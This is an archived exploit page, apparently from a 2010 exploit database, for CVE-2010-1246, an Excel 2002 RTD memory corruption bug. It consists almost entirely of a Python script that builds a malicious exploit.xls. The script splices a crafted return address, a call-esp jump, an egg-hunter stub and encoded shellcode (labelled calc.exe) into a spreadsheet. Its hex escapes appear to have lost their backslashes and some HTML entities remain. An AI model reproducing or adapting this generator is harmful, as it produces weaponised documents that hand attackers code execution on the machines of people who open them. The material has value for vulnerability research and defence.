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Excel RTD Memory Corruption

Posted on 10 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Excel RTD Memory Corruption</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===========================
Excel RTD Memory Corruption
===========================

  Title             :  Excel RTD Memory Corruption
  Version           :  Excel 2002 sp3
  Analysis          :  http://www.abysssec.com
  Vendor            :  http://www.microsoft.com
  Impact            :  Critical
  Contact           :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           :  @abysssec
  CVE               :  CVE-2010-1246
  MOAUB Number      :  MOAUB_10_BA
'''
 
 
 
import sys
 
def main():
    
    try:
        fdR = open('src.xls', 'rb+')
        strTotal = fdR.read()
        str1 = strTotal[:4509]
        str2 = strTotal[5013:15000]
        str3 = strTotal[15800:]
         
        eip = &quot;xAdx57x00x30&quot;    # pop pop ret
        jmp = &quot;xF7xC2x03x30&quot;    # call esp
         
        #Egg Hunter
        eggHunter = &quot;&quot;
        eggHunter += &quot;x90x90x90&quot;
        eggHunter += &quot;x66x81xCAxFFx0Fx42x52x6Ax02x58xCDx2Ex8AxD8x80xFBx05x5Ax74xECxB8x63&quot;
        eggHunter += &quot;x70x74x6ex8BxFAxAFx75xE7xAFx75xE4xFFxE7&quot;    
         
        # shellcode calc.exe
        shellcode = 'x63x70x74x6ex63x70x74x6ex90x90x90x89xE5xD9xEExD9x75xF4x5Ex56x59x49x49x49x49x49x49x49x49x49x49x43x43x43x43x43x43x37x51x5Ax6Ax41x58x50x30x41x30x41x6Bx41x41x51x32x41x42x32x42x42x30x42x42x41x42x58x50x38x41x42x75x4Ax49x4Bx4Cx4Bx58x51x54x43x30x43x30x45x50x4Cx4Bx51x55x47x4Cx4Cx4Bx43x4Cx43x35x44x38x45x51x4Ax4Fx4Cx4Bx50x4Fx44x58x4Cx4Bx51x4Fx47x50x45x51x4Ax4Bx51x59x4Cx4Bx46x54x4Cx4Bx43x31x4Ax4Ex46x51x49x50x4Ax39x4Ex4Cx4Cx44x49x50x42x54x45x57x49x51x48x4Ax44x4Dx45x51x49x52x4Ax4Bx4Bx44x47x4Bx46x34x46x44x45x54x43x45x4Ax45x4Cx4Bx51x4Fx47x54x43x31x4Ax4Bx43x56x4Cx4Bx44x4Cx50x4Bx4Cx4Bx51x4Fx45x4Cx45x51x4Ax4Bx4Cx4Bx45x4Cx4Cx4Bx43x31x4Ax4Bx4Cx49x51x4Cx47x54x45x54x48x43x51x4Fx46x51x4Cx36x43x50x46x36x45x34x4Cx4Bx50x46x50x30x4Cx4Bx47x30x44x4Cx4Cx4Bx44x30x45x4Cx4Ex4Dx4Cx4Bx42x48x44x48x4Dx59x4Bx48x4Bx33x49x50x43x5Ax46x30x45x38x4Cx30x4Cx4Ax45x54x51x4Fx42x48x4Dx48x4Bx4Ex4Dx5Ax44x4Ex50x57x4Bx4Fx4Ax47x43x53x47x4Ax51x4Cx50x57x51x59x50x4Ex50x44x50x4Fx46x37x50x53x51x4Cx43x43x42x59x44x33x43x44x43x55x42x4Dx50x33x50x32x51x4Cx42x43x45x31x42x4Cx42x43x46x4Ex45x35x44x38x42x45x43x30x41x41'
         
        if len(eggHunter) &gt; 266:
            print &quot;[*] Error : Shellcode length is long&quot;
            return
        if len(eggHunter) &lt;=266:
            dif =266 - len(eggHunter)
            while dif &gt; 0 :
                eggHunter += 'x90'
                dif = dif - 1
                 
                 
        if len(shellcode) &gt; 800:
            print &quot;[*] Error : Shellcode length is long&quot;
            return
        if len(shellcode) &lt;= 800:
            dif = 800 - len(shellcode)
            while dif &gt; 0 :
                shellcode += 'x90'
                dif = dif - 1
                 
        fdW= open('exploit.xls', 'wb+')
        fdW.write(str1)
        fdW.write(&quot;x41x41x41&quot;)    # padding
        fdW.write(jmp)
        fdW.write(eggHunter)               
        fdW.write(&quot;xebx06x41x41&quot;)  
        fdW.write(eip)
        fdW.write(&quot;x81xc4x24x16x00x00&quot;)  # add esp,2016
        fdW.write(&quot;xc3&quot;)  #ret
         
        i = 0
        while i &lt; 54 :
            fdW.write(&quot;x41x41x41x41&quot;)    # padding
            i = i + 1
             
        fdW.write(str2)
        fdW.write(shellcode)
        fdW.write(str3)
         
        fdW.close()
        fdR.close()
        print '[-] Excel file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                 
if __name__ == '__main__':
    main()


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